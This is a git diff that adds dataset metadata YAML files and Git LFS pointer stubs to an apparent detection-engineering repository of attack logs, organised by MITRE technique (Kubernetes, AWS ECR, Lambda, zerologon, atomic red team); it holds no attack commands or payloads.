a/datasets/attack_techniques/T1204.002/snapattack/snapattack-864b3971-97e0-40df-9df8-7f3011aca6c6.log b/datasets/attack_techniques/T1204.002/snapattack/snapattack-864b3971-97e0-40df-9df8-7f3011aca6c6.log new file mode 100644 index 000000000..6ca511753 --- /dev/null +++ b/datasets/attack_techniques/T1204.002/snapattack/snapattack-864b3971-97e0-40df-9df8-7f3011aca6c6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:95f5b477c43bd100a111a46513608328414cfcddf7dc4a8ad0dac07f17b64eb1 +size 1173 diff --git a/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/T1204.003_aws_ecr_container_upload.yml b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/T1204.003_aws_ecr_container_upload.yml new file mode 100644 index 000000000..07547db60 --- /dev/null +++ b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/T1204.003_aws_ecr_container_upload.yml @@ -0,0 +1,17 @@ +author: STRT +id: fbc98053-7803-4122-be14-1b76f1756504 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS ECR Container Upload + Outside Business Hours +environment: attack_range +directory: aws_ecr_container_upload +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1204.003/aws_ecr_container_upload/asl_ocsf_cloudtrail-fbc98053-7803-4122-be14-1b76f1756504.log + sourcetype: aws:asl + source: aws_asl +- name: aws_ecr_container_upload + path: /datasets/attack_techniques/T1204.003/aws_ecr_container_upload/aws_ecr_container_upload-fbc98053-7803-4122-be14-1b76f1756504.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/asl_ocsf_cloudtrail-fbc98053-7803-4122-be14-1b76f1756504.log b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/asl_ocsf_cloudtrail-fbc98053-7803-4122-be14-1b76f1756504.log new file mode 100644 index 000000000..9bed0119e --- /dev/null +++ b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/asl_ocsf_cloudtrail-fbc98053-7803-4122-be14-1b76f1756504.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:16d2eaf226e564bbc09ec123b1ccbc0a451aef21f1b6e52bc1ce5b90e69892a5 +size 11783 diff --git a/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/aws_ecr_container_upload-fbc98053-7803-4122-be14-1b76f1756504.log b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/aws_ecr_container_upload-fbc98053-7803-4122-be14-1b76f1756504.log new file mode 100644 index 000000000..bdd23880d --- /dev/null +++ b/datasets/attack_techniques/T1204.003/aws_ecr_container_upload/aws_ecr_container_upload-fbc98053-7803-4122-be14-1b76f1756504.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:50e8726582a8e3a893ad9825e0b48b0c594d2766593949244fd36c1052ad171d +size 11648 diff --git a/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/T1204.003_aws_ecr_image_scanning.yml b/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/T1204.003_aws_ecr_image_scanning.yml new file mode 100644 index 000000000..39b450fe3 --- /dev/null +++ b/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/T1204.003_aws_ecr_image_scanning.yml @@ -0,0 +1,13 @@ +author: STRT +id: c8c74567-5909-42f7-812b-ae75977115f7 +date: '2026-07-10' +description: Curated attack data generated for detection AWS ECR Container Scanning + Findings High +environment: attack_range +directory: aws_ecr_image_scanning +mitre_technique: [] +datasets: +- name: aws_ecr_scanning_findings_events + path: /datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/aws_ecr_scanning_findings_events-c8c74567-5909-42f7-812b-ae75977115f7.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/aws_ecr_scanning_findings_events-c8c74567-5909-42f7-812b-ae75977115f7.log b/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/aws_ecr_scanning_findings_events-c8c74567-5909-42f7-812b-ae75977115f7.log new file mode 100644 index 000000000..2716d3444 --- /dev/null +++ b/datasets/attack_techniques/T1204.003/aws_ecr_image_scanning/aws_ecr_scanning_findings_events-c8c74567-5909-42f7-812b-ae75977115f7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d2d9e23766f1ccfb4f7e5f144fab6abd595d7b94633965bf1e6aa65337a8c26d +size 69039 diff --git a/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/T1204_aws_updatelambdafunctioncode.yml b/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/T1204_aws_updatelambdafunctioncode.yml new file mode 100644 index 000000000..cc8a9d7f8 --- /dev/null +++ b/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/T1204_aws_updatelambdafunctioncode.yml @@ -0,0 +1,12 @@ +author: STRT +id: 5644431a-232e-4b1c-a7cd-4034f41be3b2 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Lambda UpdateFunctionCode +environment: attack_range +directory: aws_updatelambdafunctioncode +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/aws_cloudtrail_events-5644431a-232e-4b1c-a7cd-4034f41be3b2.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/aws_cloudtrail_events-5644431a-232e-4b1c-a7cd-4034f41be3b2.log b/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/aws_cloudtrail_events-5644431a-232e-4b1c-a7cd-4034f41be3b2.log new file mode 100644 index 000000000..24acc0404 --- /dev/null +++ b/datasets/attack_techniques/T1204/aws_updatelambdafunctioncode/aws_cloudtrail_events-5644431a-232e-4b1c-a7cd-4034f41be3b2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:253375d1c88319232712da56c44868cfbaf87da32f59dca1effa0e423223aaa3 +size 3720 diff --git a/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/T1204_kube_audit_create_node_port_service.yml b/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/T1204_kube_audit_create_node_port_service.yml new file mode 100644 index 000000000..5af688524 --- /dev/null +++ b/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/T1204_kube_audit_create_node_port_service.yml @@ -0,0 +1,12 @@ +author: STRT +id: d789cc05-3302-4e1f-8a88-df83a04231c9 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Node Port Creation +environment: attack_range +directory: kube_audit_create_node_port_service +mitre_technique: [] +datasets: +- name: kube_audit_create_node_port_service + path: /datasets/attack_techniques/T1204/kube_audit_create_node_port_service/kube_audit_create_node_port_service-d789cc05-3302-4e1f-8a88-df83a04231c9.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/kube_audit_create_node_port_service-d789cc05-3302-4e1f-8a88-df83a04231c9.log b/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/kube_audit_create_node_port_service-d789cc05-3302-4e1f-8a88-df83a04231c9.log new file mode 100644 index 000000000..38b28f625 --- /dev/null +++ b/datasets/attack_techniques/T1204/kube_audit_create_node_port_service/kube_audit_create_node_port_service-d789cc05-3302-4e1f-8a88-df83a04231c9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f9ec01557254081193a491bc0f67c5e21474272f699f83572357ac32020cb863 +size 3167 diff --git a/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/T1204_kubernetes_audit_daemonset_created.yml b/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/T1204_kubernetes_audit_daemonset_created.yml new file mode 100644 index 000000000..b266868be --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/T1204_kubernetes_audit_daemonset_created.yml @@ -0,0 +1,12 @@ +author: STRT +id: 73ed3e82-095c-4502-b588-a8535568a3f8 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes DaemonSet Deployed +environment: attack_range +directory: kubernetes_audit_daemonset_created +mitre_technique: [] +datasets: +- name: kubernetes_audit_daemonset_created + path: /datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/kubernetes_audit_daemonset_created-73ed3e82-095c-4502-b588-a8535568a3f8.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/kubernetes_audit_daemonset_created-73ed3e82-095c-4502-b588-a8535568a3f8.log b/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/kubernetes_audit_daemonset_created-73ed3e82-095c-4502-b588-a8535568a3f8.log new file mode 100644 index 000000000..8155a83d2 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_audit_daemonset_created/kubernetes_audit_daemonset_created-73ed3e82-095c-4502-b588-a8535568a3f8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ed7b4fc9ab8c5b26db18bd241e413893f2e21e52e34a9259c0123407dcc49895 +size 7076 diff --git a/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/T1204_kubernetes_falco_shell_spawned.yml b/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/T1204_kubernetes_falco_shell_spawned.yml new file mode 100644 index 000000000..21037dff0 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/T1204_kubernetes_falco_shell_spawned.yml @@ -0,0 +1,12 @@ +author: STRT +id: c904dc37-845d-49a8-aace-5b6efc4fbb35 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Falco Shell Spawned +environment: attack_range +directory: kubernetes_falco_shell_spawned +mitre_technique: [] +datasets: +- name: kubernetes_falco_shell_spawned + path: /datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/kubernetes_falco_shell_spawned-c904dc37-845d-49a8-aace-5b6efc4fbb35.log + sourcetype: kube:container:falco + source: kubernetes diff --git a/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/kubernetes_falco_shell_spawned-c904dc37-845d-49a8-aace-5b6efc4fbb35.log b/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/kubernetes_falco_shell_spawned-c904dc37-845d-49a8-aace-5b6efc4fbb35.log new file mode 100644 index 000000000..8a2558e38 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_falco_shell_spawned/kubernetes_falco_shell_spawned-c904dc37-845d-49a8-aace-5b6efc4fbb35.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b364998b89f38469db72a60114fb696b37e1c2b183ed5c8fc150783d1278de7a +size 493 diff --git a/datasets/attack_techniques/T1204/kubernetes_privileged_pod/T1204_kubernetes_privileged_pod.yml b/datasets/attack_techniques/T1204/kubernetes_privileged_pod/T1204_kubernetes_privileged_pod.yml new file mode 100644 index 000000000..45ac27c45 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_privileged_pod/T1204_kubernetes_privileged_pod.yml @@ -0,0 +1,13 @@ +author: STRT +id: 203365c1-7b12-4b7c-a21f-aa940886bf98 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Create or Update + Privileged Pod +environment: attack_range +directory: kubernetes_privileged_pod +mitre_technique: [] +datasets: +- name: kubernetes_privileged_pod + path: /datasets/attack_techniques/T1204/kubernetes_privileged_pod/kubernetes_privileged_pod-203365c1-7b12-4b7c-a21f-aa940886bf98.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1204/kubernetes_privileged_pod/kubernetes_privileged_pod-203365c1-7b12-4b7c-a21f-aa940886bf98.log b/datasets/attack_techniques/T1204/kubernetes_privileged_pod/kubernetes_privileged_pod-203365c1-7b12-4b7c-a21f-aa940886bf98.log new file mode 100644 index 000000000..c9f3a11b4 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_privileged_pod/kubernetes_privileged_pod-203365c1-7b12-4b7c-a21f-aa940886bf98.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7d82ba47ac8df48a7c2256406e4afe32f43dc0836c8aaeca876079831bb51e6e +size 5107 diff --git a/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/T1204_kubernetes_unauthorized_access.yml b/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/T1204_kubernetes_unauthorized_access.yml new file mode 100644 index 000000000..e7c9017c0 --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/T1204_kubernetes_unauthorized_access.yml @@ -0,0 +1,12 @@ +author: STRT +id: c93377bc-1c83-4a13-a7be-ea5f13050ea7 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Unauthorized Access +environment: attack_range +directory: kubernetes_unauthorized_access +mitre_technique: [] +datasets: +- name: kubernetes_unauthorized_access + path: /datasets/attack_techniques/T1204/kubernetes_unauthorized_access/kubernetes_unauthorized_access-c93377bc-1c83-4a13-a7be-ea5f13050ea7.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/kubernetes_unauthorized_access-c93377bc-1c83-4a13-a7be-ea5f13050ea7.log b/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/kubernetes_unauthorized_access-c93377bc-1c83-4a13-a7be-ea5f13050ea7.log new file mode 100644 index 000000000..e168338ec --- /dev/null +++ b/datasets/attack_techniques/T1204/kubernetes_unauthorized_access/kubernetes_unauthorized_access-c93377bc-1c83-4a13-a7be-ea5f13050ea7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dff87213032a06345d98bac6b26f7486080e17b9e744f38b2bf6553bc0bae65f +size 1357 diff --git a/datasets/attack_techniques/T1204/rare_executables/T1204_rare_executables.yml b/datasets/attack_techniques/T1204/rare_executables/T1204_rare_executables.yml new file mode 100644 index 000000000..fcd4eac71 --- /dev/null +++ b/datasets/attack_techniques/T1204/rare_executables/T1204_rare_executables.yml @@ -0,0 +1,12 @@ +author: STRT +id: 1ab84fdd-cc34-441d-acdc-056f6c9a2e4b +date: '2026-07-10' +description: Curated attack data generated for detection Detect Rare Executables +environment: attack_range +directory: rare_executables +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1204/rare_executables/windows-sysmon-1ab84fdd-cc34-441d-acdc-056f6c9a2e4b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1204/rare_executables/windows-sysmon-1ab84fdd-cc34-441d-acdc-056f6c9a2e4b.log b/datasets/attack_techniques/T1204/rare_executables/windows-sysmon-1ab84fdd-cc34-441d-acdc-056f6c9a2e4b.log new file mode 100644 index 000000000..7cc5eee2d --- /dev/null +++ b/datasets/attack_techniques/T1204/rare_executables/windows-sysmon-1ab84fdd-cc34-441d-acdc-056f6c9a2e4b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8ded395dbf8225bcca76d15a8c8b0162ce8a7dff536759195f1a3034baaded34 +size 19619024 diff --git a/datasets/attack_techniques/T1207/mimikatz/T1207_mimikatz.yml b/datasets/attack_techniques/T1207/mimikatz/T1207_mimikatz.yml new file mode 100644 index 000000000..125b3f091 --- /dev/null +++ b/datasets/attack_techniques/T1207/mimikatz/T1207_mimikatz.yml @@ -0,0 +1,13 @@ +author: STRT +id: e23b73a5-6251-40de-94ef-c2bdd82f1543 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AD Short Lived Domain + Controller SPN Attribute +environment: attack_range +directory: mimikatz +mitre_technique: [] +datasets: +- name: windows-security-xml + path: /datasets/attack_techniques/T1207/mimikatz/windows-security-xml-e23b73a5-6251-40de-94ef-c2bdd82f1543.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1207/mimikatz/windows-security-xml-e23b73a5-6251-40de-94ef-c2bdd82f1543.log b/datasets/attack_techniques/T1207/mimikatz/windows-security-xml-e23b73a5-6251-40de-94ef-c2bdd82f1543.log new file mode 100644 index 000000000..cb4391edf --- /dev/null +++ b/datasets/attack_techniques/T1207/mimikatz/windows-security-xml-e23b73a5-6251-40de-94ef-c2bdd82f1543.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e237013ecd378748a56680cb4a3662f9a73b606aadcc916cd83fbe83b6be3d8e +size 3010 diff --git a/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/T1212_kubernetes_nginx_lfi_attack.yml b/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/T1212_kubernetes_nginx_lfi_attack.yml new file mode 100644 index 000000000..5cdfbec1f --- /dev/null +++ b/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/T1212_kubernetes_nginx_lfi_attack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b38ebcec-5ad4-4c4c-ae5c-2e7c4e3cd8f5 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Nginx Ingress + LFI +environment: attack_range +directory: kubernetes_nginx_lfi_attack +mitre_technique: [] +datasets: +- name: kubernetes_nginx_lfi_attack + path: /datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/kubernetes_nginx_lfi_attack-b38ebcec-5ad4-4c4c-ae5c-2e7c4e3cd8f5.log + sourcetype: kube:container:controller + source: kubernetes diff --git a/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/kubernetes_nginx_lfi_attack-b38ebcec-5ad4-4c4c-ae5c-2e7c4e3cd8f5.log b/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/kubernetes_nginx_lfi_attack-b38ebcec-5ad4-4c4c-ae5c-2e7c4e3cd8f5.log new file mode 100644 index 000000000..0b92ff1bf --- /dev/null +++ b/datasets/attack_techniques/T1212/kubernetes_nginx_lfi_attack/kubernetes_nginx_lfi_attack-b38ebcec-5ad4-4c4c-ae5c-2e7c4e3cd8f5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:45bd483b181b15978a3d3df59c19d195ed0bf7c8218d70da94b96956edeeb1d8 +size 358 diff --git a/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/T1212_kuberntest_nginx_rfi_attack.yml b/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/T1212_kuberntest_nginx_rfi_attack.yml new file mode 100644 index 000000000..4b2bf82e4 --- /dev/null +++ b/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/T1212_kuberntest_nginx_rfi_attack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2343f34b-66f9-48f6-aeb6-b5fbcaeb7b11 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Nginx Ingress + RFI +environment: attack_range +directory: kuberntest_nginx_rfi_attack +mitre_technique: [] +datasets: +- name: kubernetes_nginx_rfi_attack + path: /datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/kubernetes_nginx_rfi_attack-2343f34b-66f9-48f6-aeb6-b5fbcaeb7b11.log + sourcetype: kube:container:controller + source: kubernetes diff --git a/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/kubernetes_nginx_rfi_attack-2343f34b-66f9-48f6-aeb6-b5fbcaeb7b11.log b/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/kubernetes_nginx_rfi_attack-2343f34b-66f9-48f6-aeb6-b5fbcaeb7b11.log new file mode 100644 index 000000000..6efde7812 --- /dev/null +++ b/datasets/attack_techniques/T1212/kuberntest_nginx_rfi_attack/kubernetes_nginx_rfi_attack-2343f34b-66f9-48f6-aeb6-b5fbcaeb7b11.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:727cb2028d356d3a42c526198d5f7a0d91db13127d9bb14d606888b6ce82c535 +size 752 diff --git a/datasets/attack_techniques/T1212/zerologon/T1212_zerologon.yml b/datasets/attack_techniques/T1212/zerologon/T1212_zerologon.yml new file mode 100644 index 000000000..07e87a8de --- /dev/null +++ b/datasets/attack_techniques/T1212/zerologon/T1212_zerologon.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe6e5289-3d4f-4519-bdf6-fc5b14327a7f +date: '2026-07-10' +description: Curated attack data generated for detection Detect Computer Changed with + Anonymous Account +environment: attack_range +directory: zerologon +mitre_technique: [] +datasets: +- name: zerologon + path: /datasets/attack_techniques/T1212/zerologon/zerologon-fe6e5289-3d4f-4519-bdf6-fc5b14327a7f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1212/zerologon/zerologon-fe6e5289-3d4f-4519-bdf6-fc5b14327a7f.log b/datasets/attack_techniques/T1212/zerologon/zerologon-fe6e5289-3d4f-4519-bdf6-fc5b14327a7f.log new file mode 100644 index 000000000..7f3149715 --- /dev/null +++ b/datasets/attack_techniques/T1212/zerologon/zerologon-fe6e5289-3d4f-4519-bdf6-fc5b14327a7f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3a5ec2c2213ddbcb976c5347fe0f189fe09259b2a586450538ec6bb36a6d1149 +size 1746 diff --git a/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/T1213.002_o365_sus_sharepoint_search.yml b/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/T1213.002_o365_sus_sharepoint_search.yml new file mode 100644 index 000000000..c9b2a4805 --- /dev/null +++ b/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/T1213.002_o365_sus_sharepoint_search.yml @@ -0,0 +1,13 @@ +author: STRT +id: a1a19e3a-a736-40b4-a7bc-ac54a4b91d34 +date: '2026-07-10' +description: Curated attack data generated for detection O365 Email Suspicious Search + Behavior +environment: attack_range +directory: o365_sus_sharepoint_search +mitre_technique: [] +datasets: +- name: o365_sus_sharepoint_search + path: /datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/o365_sus_sharepoint_search-a1a19e3a-a736-40b4-a7bc-ac54a4b91d34.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/o365_sus_sharepoint_search-a1a19e3a-a736-40b4-a7bc-ac54a4b91d34.log b/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/o365_sus_sharepoint_search-a1a19e3a-a736-40b4-a7bc-ac54a4b91d34.log new file mode 100644 index 000000000..246d41445 --- /dev/null +++ b/datasets/attack_techniques/T1213.002/o365_sus_sharepoint_search/o365_sus_sharepoint_search-a1a19e3a-a736-40b4-a7bc-ac54a4b91d34.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2a5baaf8eae9526aa14074a62b14878d23699c2291643b2c8ca752a46951cb8f +size 32711 diff --git a/datasets/attack_techniques/T1216/atomic_red_team/T1216_atomic_red_team.yml b/datasets/attack_techniques/T1216/atomic_red_team/T1216_atomic_red_team.yml new file mode 100644 index 000000000..b826ead16 --- /dev/null +++ b/datasets/attack_techniques/T1216/atomic_red_team/T1216_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: c96d4f88-d8e3-48d5-aee1-6f346606d477 +date: '2026-07-11' +description: Curated attack data generated for detection Windows System Script Proxy + Execution Syncappvpublishingserver +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1216/atomic_red_team/windows-sysmon-c96d4f88-d8e3-48d5-aee1-6f346606d477.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1216/atomic_red_team/windows-sysmon-c96d4f88-d8e3-48d5-aee1-6f346606d477.log b/datasets/attack_techniques/T1216/atomic_red_team/windows-sysmon-c96d4f88-d8e3-48d5-aee1-6f346606d477.log new file mode 100644 index 000000000..c29e6713a --- /dev/null +++ b/datasets/attack_techniques/T1216/atomic_red_team/windows-sysmon-c96d4f88-d8e3-48d5-aee1-6f346606d477.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:98190fe1f1999d4e99a93704b4b8ce50304b790a7b16a5e76d9b7d8cbe6409cb +size 10257 diff --git a/datasets/attack_techniques/T1218.001/atomic_red_team/T1218.001_atomic_red_team.yml b/datasets/attack_techniques/T1218.001/atomic_red_team/T1218.001_atomic_red_team.yml new file mode 100644 index 000000000..dd5d2abc5 --- /dev/null +++ b/datasets/attack_techniques/T1218.001/atomic_red_team/T1218.001_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3 +date: '2026-07-13' +description: Curated attack data generated for detection Detect HTML Help Renamed +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.001/atomic_red_team/windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: hh_decom_windows-sysmon + path: /datasets/attack_techniques/T1218.001/atomic_red_team/hh_decom_windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.001/atomic_red_team/hh_decom_windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log b/datasets/attack_techniques/T1218.001/atomic_red_team/hh_decom_windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log new file mode 100644 index 000000000..af5d0866b --- /dev/null +++ b/datasets/attack_techniques/T1218.001/atomic_red_team/hh_decom_windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0c0234f3547b536802bc4796d2aa85bc6c44a1cbaf68a382f676b6659296d5a6 +size 2143 diff --git a/datasets/attack_techniques/T1218.001/atomic_red_team/windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log b/datasets/attack_techniques/T1218.001/atomic_red_team/windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log new file mode 100644 index 000000000..5d3bcbe7c --- /dev/null +++ b/datasets/attack_techniques/T1218.001/atomic_red_team/windows-sysmon-9a5fbea8-199a-4c9f-8510-e55eeb2b0eb3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:749e768d112426d454eb13fb63fd05cd33d7fe2d9c2234e8780224a994bfe8fb +size 51028 diff --git a/datasets/attack_techniques/T1218.002/atomic_red_team/T1218.002_atomic_red_team.yml b/datasets/attack_techniques/T1218.002/atomic_red_team/T1218.002_atomic_red_team.yml new file mode 100644 index 000000000..8310bce66 --- /dev/null +++ b/datasets/attack_techniques/T1218.002/atomic_red_team/T1218.002_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 702ffbfe-c27b-4d0a-a023-cf0fdca6578c +date: '2026-07-11' +description: Curated attack data generated for detection Control Loading from World + Writable Directory +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1218.002/atomic_red_team/windows-sysmon-702ffbfe-c27b-4d0a-a023-cf0fdca6578c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.002/atomic_red_team/windows-sysmon-702ffbfe-c27b-4d0a-a023-cf0fdca6578c.log b/datasets/attack_techniques/T1218.002/atomic_red_team/windows-sysmon-702ffbfe-c27b-4d0a-a023-cf0fdca6578c.log new file mode 100644 index 000000000..7eedebce3 --- /dev/null +++ b/datasets/attack_techniques/T1218.002/atomic_red_team/windows-sysmon-702ffbfe-c27b-4d0a-a023-cf0fdca6578c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c9c108abf1aaf85c4b1edaa0cd4b363c71c4eaa62aa2115b391800355059576d +size 2041 diff --git a/datasets/attack_techniques/T1218.003/moz_lib_loaded/T1218.003_moz_lib_loaded.yml b/datasets/attack_techniques/T1218.003/moz_lib_loaded/T1218.003_moz_lib_loaded.yml new file mode 100644 index 000000000..26fa74129 --- /dev/null +++ b/datasets/attack_techniques/T1218.003/moz_lib_loaded/T1218.003_moz_lib_loaded.yml @@ -0,0 +1,13 @@ +author: STRT +id: 87bda6d8-b57c-4daf-9b65-b6d50d7ca9c3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Unusual Process Load + Mozilla NSS-Mozglue Module +environment: attack_range +directory: moz_lib_loaded +mitre_technique: [] +datasets: +- name: mozilla_lib + path: /datasets/attack_techniques/T1218.003/moz_lib_loaded/mozilla_lib-87bda6d8-b57c-4daf-9b65-b6d50d7ca9c3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1218.003/moz_lib_loaded/mozilla_lib-87bda6d8-b57c-4daf-9b65-b6d50d7ca9c3.log 